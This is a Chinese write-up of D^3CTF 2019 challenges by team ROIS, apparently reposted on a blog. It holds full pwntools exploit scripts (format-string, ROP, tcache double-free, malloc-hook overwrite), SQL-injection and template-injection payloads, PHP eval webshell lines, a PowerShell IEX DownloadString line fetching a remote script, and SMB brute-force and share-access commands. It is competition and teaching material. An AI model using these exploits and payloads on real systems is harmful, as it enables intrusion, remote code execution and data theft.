D^3CTF 2019 Writeup By ROIS

2019-12-02 约 1562 字 预计阅读 8 分钟

声明:本文 【D^3CTF 2019 Writeup By ROIS】 由作者 wywwzjj 于 2019-12-02 09:30:22 首发 先知社区 曾经 浏览数 852 次

感谢 wywwzjj 的辛苦付出!

感谢 Vidar-Team、L-Team、CNSS 带来的高质量比赛。

Ru7n 师傅太强了,一路带飞

pwn

unprintableV

pwnable.tw上unprintable魔改,第5版了。。我原先解pwnable.tw上这道题用的是把bss段上的stdout改成了stderr进行了泄露,这次这题也刚刚好用到了这个解法,不过这题禁用了execve,但是可以多次printf也不是什么大问题

一开始断点下在printf(buf)那里,栈的情况

 0x55b7cd5bfa20    call   0x55b7cd5bf780

   0x55b7cd5bfa25    mov    eax, dword ptr [rip + 0x2015e5]
   0x55b7cd5bfa2b    sub    eax, 1
   0x55b7cd5bfa2e    mov    dword ptr [rip + 0x2015dc], eax
   0x55b7cd5bfa34    nop    
   0x55b7cd5bfa35    pop    rbp
   0x55b7cd5bfa36    ret    

   0x55b7cd5bfa37    push   rbp
   0x55b7cd5bfa38    mov    rbp, rsp
   0x55b7cd5bfa3b    mov    rax, qword ptr [rip + 0x2015de]
   0x55b7cd5bfa42    mov    ecx, 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rbp rsp  0x7ffcc627f8c0 —▸ 0x7ffcc627f8e0 —▸ 0x7ffcc627f900 —▸ 0x55b7cd5bfb60 ◂— push   r15
01:0008│          0x7ffcc627f8c8 —▸ 0x55b7cd5bfafb ◂— mov    edx, 6
02:0010│          0x7ffcc627f8d0 ◂— 0x7fff000000000006
03:0018│          0x7ffcc627f8d8 —▸ 0x55b7cd7c1060 ◂— '%216c%6$hhn'     //name
04:0020│          0x7ffcc627f8e0 —▸ 0x7ffcc627f900 —▸ 0x55b7cd5bfb60 ◂— push   r15
05:0028│          0x7ffcc627f8e8 —▸ 0x55b7cd5bfb51 ◂— mov    eax, 0
06:0030│          0x7ffcc627f8f0 —▸ 0x7ffcc627f9e8 —▸ 0x7ffcc62813cd ◂— './unprintableV'
07:0038│          0x7ffcc627f8f8 ◂— 0x100000000

可以看到有两条这样的链0x7ffcc627f8c0 —▸ 0x7ffcc627f8e0 —▸ 0x7ffcc627f900 —▸ 0x55b7cd5bfb60 ◂— push r15,0x7ffcc627f8f0 —▸ 0x7ffcc627f9e8 —▸ 0x7ffcc62813cd ◂— './unprintableV',而且一开始还给了栈地址,完美啊

所以思路是先让03:0018│ 0x7ffcc627f8d8 —▸ 0x55b7cd7c1060 ◂— '%216c%6$hhn' //name这里指向bss段上的stdout,然后把stdout改为stderr,看脸的时候到了,1/16的概率,注意下就是因为close(1)了,printf大于0x2000的字符数好像写不进去,所以爆破的时候用p16(0x1680)或者p16(0x0680),成功的话printf就可以泄露啦,后面就随便玩了,:P

这次脸超级好,3次成功了两次,有点不太敢相信

exp为:

from pwn import *

context.arch='amd64'

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def main(host,port=10397):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./unprintableV")
        # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
        # gdb.attach(p)
        debug(0x000000000000A20)
    p.recvuntil("gift: ")
    stack = int(p.recvuntil('\n',drop=True),16)
    info("stack : " + hex(stack))
    p.recvuntil("printf test!")

    payload = "%{}c%6$hhn".format(stack&0xff)
    p.send(payload)
    pause()
    payload = "%{}c%10$hhn".format(0x20)
    p.send(payload)
    pause()

    payload = "%{}c%9$hn".format(0x1680)
    p.send(payload)
    pause()
    payload = "+%p-%3$p*"
    p.send(payload.ljust(0x12c,"\x00"))

    p.recvuntil('+')
    elf_base = int(p.recvuntil('-',drop=True),16)+0x10
    info("elf : " + hex(elf_base))
    libc.address = int(p.recvuntil('*',drop=True),16)-0x110081
    success('libc : '+hex(libc.address))
    pause()
    ret_addr = stack-0x20
    payload = "%{}c%12$hn".format((stack-0x18)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    # offset = 43
    payload = "%{}c%43$hn".format((elf_base)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    payload = "%{}c%12$hn".format((stack-0x18+2)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    # offset = 43
    payload = "%{}c%43$hn".format((elf_base>>16)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    payload = "%{}c%12$hn".format((stack-0x18+4)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    # offset = 43
    payload = "%{}c%43$hn".format((elf_base>>32)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    payload = "%{}c%12$hn".format(ret_addr&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))
    # 0x0000000000000bbd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    payload = "%{}c%43$hn".format((elf_base-0x202070+0xbbd)&0xffff)
    payload = payload.ljust(0x20,"\x00")
    payload += "/flag"+'\x00'*3
    # 0x00000000000a17e0: pop rdi; ret;
    # 0x0000000000023e6a: pop rsi; ret; 
    # 0x00000000001306d9: pop rdx; pop rsi; ret;
    p_rdi = libc.address+0x00000000000a17e0
    p_rsi = libc.address+0x0000000000023e6a
    p_rdx_rsi = libc.address+0x00000000001306d9
    rop = p64(p_rdi)+p64(elf_base+0x10)+p64(p_rsi)+p64(0)+p64(libc.symbols["open"])
    rop += p64(p_rdi)+p64(1)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["read"])
    rop += p64(p_rdi)+p64(2)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["write"])
    payload += rop
    p.send(payload)
    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    # libc = ELF("./x64_libc.so.6",checksec=False)
    # elf = ELF("./unprintableV",checksec=False)
    main(args['REMOTE'])

babyrop

题目有个简单的指令集,有个简单的栈结构(好像是这样

00000000 stack           struc ; (sizeof=0x14, mappedto_6)
00000000 rsp_            dq ?
00000008 rbp_            dq ?
00000010 len             dd ?
00000014 stack           ends

然后就是指令集里有几个函数有bug

case '(':
        ++*idx;
        if ( !(unsigned int)clear_stack(v7, v6) )// !!!
          exit(0);
        return result;
case '4':
        ++*idx;
        sub_E17(v7);                            // !
        break;
case '!':
        sub_BB9(v7);                            // !
        ++*idx;
        break;

思路是先两次((让结构体里的rsp_越界

pwndbg> stack 30
00:0000│ rsp  0x7ffef245fbe0 —▸ 0x558692b96148 ◂— 0x2
01:0008│      0x7ffef245fbe8 —▸ 0x558692b96150 —▸ 0x7ffef245fca0 ◂— 0x11486eca0 !!!!
02:0010│      0x7ffef245fbf0 —▸ 0x558692b96140 ◂— 0x2
03:0018│      0x7ffef245fbf8 —▸ 0x558692b96040 ◂— 0x3400000000562828 /* '((V' */
04:0020│      0x7ffef245fc00 ◂— 0x0
... 
0e:0070│      0x7ffef245fc50 ◂— 0x100000100
0f:0078│      0x7ffef245fc58 ◂— 0xe11547f75d191800
10:0080│ rbp  0x7ffef245fc60 —▸ 0x7ffef245fc80 —▸ 0x558692995430 ◂— push   r15
11:0088│      0x7ffef245fc68 —▸ 0x558692994977 ◂— mov    edi, 0
12:0090│      0x7ffef245fc70 —▸ 0x7ffef245fd60 ◂— 0x1
13:0098│      0x7ffef245fc78 ◂— 0xe11547f75d191800
14:00a0      0x7ffef245fc80 —▸ 0x558692995430 ◂— push   r15
15:00a8      0x7ffef245fc88 —▸ 0x7fb21429f830 (__libc_start_main+240) ◂— mov    edi, eax
16:00b0      0x7ffef245fc90 ◂— 0x1
17:00b8      0x7ffef245fc98 —▸ 0x7ffef245fd68 —▸ 0x7ffef246120c ◂— './babyrop'
18:00c0      0x7ffef245fca0 ◂— 0x11486eca0

两次((后:01:0008│ 0x7ffef245fbe8 —▸ 0x558692b96150 —▸ 0x7ffef245fca0 ◂— 0x11486eca0 !!!!,可以看到已经越界了

然后就是利用栈上的0x7fb21429f830 (__libc_start_main+240)和那几个有bug的函数进行加加减减,最后把返回地址给改为one_gadget

 0x558692995428                     leave  
   0x558692995429                     ret    
    
   0x7fb2142c426a <do_system+1098>    mov    rax, qword ptr [rip + 0x37ec47]
   0x7fb2142c4271 <do_system+1105>    lea    rdi, [rip + 0x147adf]

exp为:

from pwn import *

context.arch='amd64'

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def main(host,port=17676):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./babyrop")
        # gdb.attach(p)
        debug(0x000000000000CB2)    
    payload = "((V"+p32(0)+"44V"+p32(0x24a3a)+"!44444"
    p.send(payload.ljust(0x100,"\x00"))
    p.interactive() 
if __name__ == "__main__":
    main(args['REMOTE'])

ezfile

这题在给了hint后,想了很久,然后想起今年国赛有一题是吧stdinfileno改为666,然后利用scanfprintfflag打印出来,然后手动试了下这题,居然也可以。

这题有两个漏洞,一个是deleteNote没有把指针置零,一个是encryptNode函数的栈溢出,思路就是利用double free修改stdin->fileno为3,然后利用栈溢出partial overwirteencryptNode返回地址到

.text:0000000000001147                 mov     eax, 0
.text:000000000000114C                 call    _open
.text:0000000000001151                 mov     cs:fd, eax
.text:0000000000001157                 mov     eax, cs:fd
.text:000000000000115D                 cmp     eax, 0FFFFFFFFh

至于为什么可以open /flag,是因为在encryptNode返回时

RDI  0x7ffce9258610 ◂— 0x67616c662f /* '/flag' */
 RSI  0x0
 R8   0x7ffce92585f3 ◂— 0x1000000000a /* '\n' */
 R9   0x0
 R10  0x7f9c58fe5cc0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R11  0x246
 R12  0x55bdf8ef4980 ◂— xor    ebp, ebp
 R13  0x7ffce9258770 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffce9258670 ◂— 0x0
 RSP  0x7ffce9258610 ◂— 0x67616c662f /* '/flag' */
 RIP  0x55bdf8ef50e3 ◂— leave  
───────────────────────────────────[ DISASM ]───────────────────────────────────
  0x55bdf8ef50e3    leave  
   0x55bdf8ef50e4    ret    
    
   0x55bdf8ef5147    mov    eax, 0

RDI会指向我们输入的内容,RSI就是doSomeThing(seed, index)index参数,都是可控的,所以跳到open函数可以打开/flag,然后在配合

__isoc99_scanf("%90s", name);
  printf("welcome!%s.\n", name);

这样就会把flag打印出来

[*] welcome!d3ctf{3z_FIL3N0~@TT@cK-WIth-ST@Ck_0V3RFI0W}.

由于攻击到stdin->fileno我猜了两次地址,一次是堆地址,一次是libc地址,这样就1/256的几率,然后最后栈溢出的patial overwrite又要来一次1/16,所以最后成功几率是1/4096,出题人说还可以更低,orz

exp为:

from pwn import *

context.arch='amd64'

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def cmd(command):
    p.recvuntil(">>")
    p.sendline(str(command))
def add(sz,content):
    cmd(1)
    p.recvuntil("size of your note >>")
    p.sendline(str(sz))
    p.recvuntil("content >>")
    p.send(content)
def enc(idx,sz,seed):
    cmd(3)
    p.sendlineafter("encrypt >>",str(idx))
    p.sendlineafter("(max 0x50) >>",str(sz))
    p.sendafter("seed >>",seed)
def dele(idx):
    cmd(2)
    p.sendlineafter("delete >>",str(idx))

def main(host,port=24694):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./ezfile")
        # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
        # gdb.attach(p)
        debug(0x0000000000010E3)
    p.recvuntil("your name: ")
    p.sendline("A")
    add(0x10,p64(0)+p64(0x21))
    add(0x10,p64(0)+p64(0x21))

    # t = int(raw_input("guess: "))
    t = 11
    heap = (t << 12) | 0x00000000000120
    # t = int(raw_input("guess: "))
    t = 6
    stdin_fileno = (t << 12) | 0x00000000000a70
    # t = int(raw_input("guess: "))
    t = 7
    elf = (t << 12) | 0x000000000000147
    dele(1)
    dele(0)
    dele(0)
    add(2,p16(heap))

    add(0x10,p64(0)+p64(0x21))
    add(0x18,p64(0)+p64(0x441)+p64(0))
    dele(1)
    dele(0)
    dele(0)

    add(2,p16(heap+0x10))
    add(0x10,p64(0)+p64(0x21))

    add(0x10,p64(0)*2)
    dele(7)

    add(2,p16(stdin_fileno))
    dele(0)
    dele(0)
    add(2,p16(heap+0x10))
    add(1,"A")
    add(1,"A")
    add(1,"\x03")



    enc(20,0x6a,"/flag"+"\x00"*(0x63)+p16(elf))
    p.recvuntil("welcome!",timeout=1)
    flag = p.recvuntil('.\n',timeout=1)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    for i in range(0x1000):
        try:
            main(args['REMOTE'])
        except Exception,err:
            p.close()
            print err
            continue

new_heap

libc2.29有对tcache double free 进行check,这很蛋疼

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely
       coincidence before aborting.  */
    if (__glibc_unlikely (e->key == tcache))    //如果我们可以把e->key即chunk的bk指针修改掉,那就可以绕过这个check
      {
        tcache_entry *tmp;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = tmp->next)
          if (tmp == e)
        malloc_printerr ("free(): double free detected in tcache 2");
        /* If we get here, it was a coincidence.  We've wasted a
           few cycles, but don't abort.  */
      }

    if (tcache->counts[tc_idx] < mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
      }
  }
#endif

题目就只有adddele功能,dele没清空指针,但是由于有这个check在,有点难受,而且只能add18次,想了很久很久,在快结束的前几个小时试了下功能3就是退出那个函数,发现报错了(堆块重叠了导致报错),报的是malloc_consolidate的错,瞬间觉得有希望了,原因是

void init_()
{
  void *ptr; // ST08_8

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  alarm(0x1Eu);
  ptr = malloc(0x1000uLL);
  printf("good present for African friends:0x%x\n", (unsigned int)(((unsigned __int16)ptr & 0xFF00) >> 8));
  free(ptr);
}

这里开始的初始话没有setbuf(stdin,0),于是乎在getchar的时候会再堆上申请一个0x1000大小的缓冲区,这样就不用浪费add的次数去申请一个大堆块,再配合题目的dele函数,就可以在限定次数下完成利用

先是

for i in range(8):
        add(0x78,"\x00"*0x78)
    for i in range(7):
        dele(i)
    dele(7) #fastbin
    cmd(3)
    p.recvuntil("sure?")
    p.send("0")

这样chunk7malloc_consolidate合并,然后在add(0x68,"\x00"*0x68)一下,以防释放那个缓冲区的时候和top_chunk合并

wndbg> telescope 0x5625febf8060 18
00:0000   0x5625febf8060 —▸ 0x5625fec6a260 ◂— 0x0
01:0008   0x5625febf8068 —▸ 0x5625fec6a2e0 —▸ 0x5625fec6a260 ◂— 0x0
02:0010   0x5625febf8070 —▸ 0x5625fec6a360 —▸ 0x5625fec6a2e0 —▸ 0x5625fec6a260 ◂— 0x0
03:0018   0x5625febf8078 —▸ 0x5625fec6a3e0 —▸ 0x5625fec6a360 —▸ 0x5625fec6a2e0 —▸ 0x5625fec6a260 ◂— ...
04:0020   0x5625febf8080 —▸ 0x5625fec6a460 —▸ 0x5625fec6a3e0 —▸ 0x5625fec6a360 —▸ 0x5625fec6a2e0 ◂— ...
05:0028   0x5625febf8088 —▸ 0x5625fec6a4e0 —▸ 0x5625fec6a460 —▸ 0x5625fec6a3e0 —▸ 0x5625fec6a360 ◂— ...
06:0030   0x5625febf8090 —▸ 0x5625fec6a560 —▸ 0x5625fec6a4e0 —▸ 0x5625fec6a460 —▸ 0x5625fec6a3e0 ◂— ...
07:0038   0x5625febf8098 —▸ 0x5625fec6a5e0 ◂— 0x30 /* '0' */
08:0040   0x5625febf80a0 —▸ 0x5625fec6b5f0 ◂— 0x0
09:0048   0x5625febf80a8 ◂— 0x0
... 
pwndbg> telescope 0x5625fec6a5d0
00:0000   0x5625fec6a5d0 ◂— 0x0
01:0008   0x5625fec6a5d8 ◂— 0x1011
02:0010   0x5625fec6a5e0 ◂— 0x30 /* '0' */
03:0018   0x5625fec6a5e8 ◂— 0x0
... 

我们可以看到chunk7getchar申请的缓冲区重叠,也正是如此,我们可以利用getchar来修改chunk7bk指针,然后就是

dele(7)
    add(0x68,"\x00"*0x68)
    dele(7)
    cmd(3)
    p.recvuntil("sure?")
    p.send("\x00"*0xe)
    dele(7)

可以看到成功double free,堆上也有了libc的指针

tcachebins
0x70 [  2]: 0x55e3221f45e0 ◂— 0x55e3221f45e0
0x80 [  7]: 0x55e3221f4560 —▸ 0x55e3221f44e0 —▸ 0x55e3221f4460 —▸ 0x55e3221f43e0 —▸ 0x55e3221f4360 —▸ 0x55e3221f42e0 —▸ 0x55e3221f4260 ◂— 0x0
unsortedbin
all: 0x55e3221f4640 —▸ 0x7f6ba8af9ca0 (main_arena+96) ◂— 0x55e3221f4640

后面就是泄露libcgetshell了,要注意add的次数就好,泄露的时候还是有点看脸,不过1/16的几率多跑几次就好

exp为:

from pwn import *

def cmd(c):
    p.recvuntil("3.exit")
    p.sendline(str(c))

def add(sz,content):
    cmd(1)
    p.recvuntil("size:")
    p.sendline(str(sz))
    p.recvuntil("content:")
    p.send(content)
def dele(idx):
    cmd(2)
    p.recvuntil("index:")
    p.sendline(str(idx))
def main(host,port=20508):
    global p
    if host:
        p = remote(host,port)
    else:
        # p = process("./new_heap")
        p = process("./new_heap",env={"LD_PRELOAD":"./libc.so.6"})
        gdb.attach(p)

    p.recvuntil("friends:")
    heap = (int(p.recvuntil("\n",drop=True),16)>>4)<<12
    for i in range(8):
        add(0x78,"\x00"*0x78)
    for i in range(7):
        dele(i)
    dele(7)
    cmd(3)
    p.recvuntil("sure?")
    p.send("0")

    add(0x68,"\x00"*0x68)   

    dele(7)
    add(0x68,"\x00"*0x68)
    dele(7)
    cmd(3)
    p.recvuntil("sure?")
    p.send("\x00"*0xe)
    guess = int(raw_input("guess?"))
    # guess = 7
    stdout = (guess << 12) | 0x760
    add(0x58,p16(stdout-0x10))
    dele(7)
    add(0x68,p16(heap+0x650))
    add(0x68,"\x00"*0x68)
    add(0x68,"\x00"*0x68)
    add(0x68,b"\x00"*0x10+p64(0xfbad1800)+p64(0)*3+b'\x00')
    p.recv(8)
    libc.address = u64(p.recv(8))-0x3b5890
    success('libc : '+hex(libc.address))
    dele(7)
    for i in range(13):
        cmd(3)
    cmd(3)
    p.recvuntil("sure?")
    p.send(p64(libc.symbols["__malloc_hook"]-0x23))

    add(0x68,"\x00"*0x68)
    add(0x68,b"\x00"*0x13+p64(libc.address+0xdf212))
    cmd(1)
    p.recvuntil("size:")
    p.sendline(str(0))
    p.interactive()

if __name__ == "__main__":
    libc = ELF("./libc.so.6",checksec=False)
    main(args["REMOTE"])

web

平台进不去,之前忘记截图,就只写一下大致思路吧。

easyweb

题目很简洁,有登录注册,还有个莫名其妙的上传,对文件没有任何限制,但是直接传到 /tmp 下了,而且过滤了 ..

Profile 处有显示出用户名,可能存在二次注入。另外,渲染用的是 smarty。

Hi, wywwzjj, hope you have a good experience in this ctf game
you must get a RCE Bug in this challenge

可看到注册时用户名、密码都没有经过任何处理,取出来时有简单过滤,很好绕。

jkl2' uni{on se{lect 233#

要想打出模板注入还是麻烦点,过滤掉了 {},这里卡了一下。

既然都能执行 SQL,为何不利用一下呢?

uni{on sel{lect 0x7b7b7068707d7d6576616c28245f4745545b315d293b7b7b2f7068707d7d#

看到 flag 还是震惊了一下,pop chain???

fakeonelinephp

随手一试:

Warning: include(): data:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

Warning: include(data://...@<?php): failed to open stream: no suitable wrapper could be found in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

Warning: include(): Failed opening 'data://...@<?php' for inclusion (include_path='.;C:\Users\Public\Videos;\c:\php\includes;c:\php\pear;') in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

扫目录看到了 .git,以及 /webdav,想起曾经有人提过 webdav 打 RFI 的姿势。

docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

到这一步就能 RCE 了,不过 flag 还在里头呢。

Windows NT 172_19_97_4 10.0 build 14393 (Windows Server 2016) AMD64

包含 shell 的时候遇到一点麻烦,估计是 Defender 之类的安全软件在作祟,干掉了 $_POST[] 这种形式的,那就

@<?php eval($_POST{1});
@<?php eval(base64_decode(编码一个eval));

socks5 代理一直出不来,直接搞个 powshell 进行了一下端口扫描。

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://vps/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 172.19.97.8

得到结果:

Hostname      : 172.19.97.8
alive         : True
openPorts     : {3389, 445, 139, 135}
closedPorts   : {443, 23, 646, 3306...}
filteredPorts : {80}
finishTime    : 11/24/2019 11:48:02 AM

队友尝试爆了下 3389,没成功,我搭了下车,拿其他师傅传的 hydra 直接爆 445 居然成功了。

结合之前的提示,然后就是利用 smb。

net use \\172.19.97.8\C$
type \\172.19.97.8\C$\Users\Administrator\Desktop\flag.txt

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now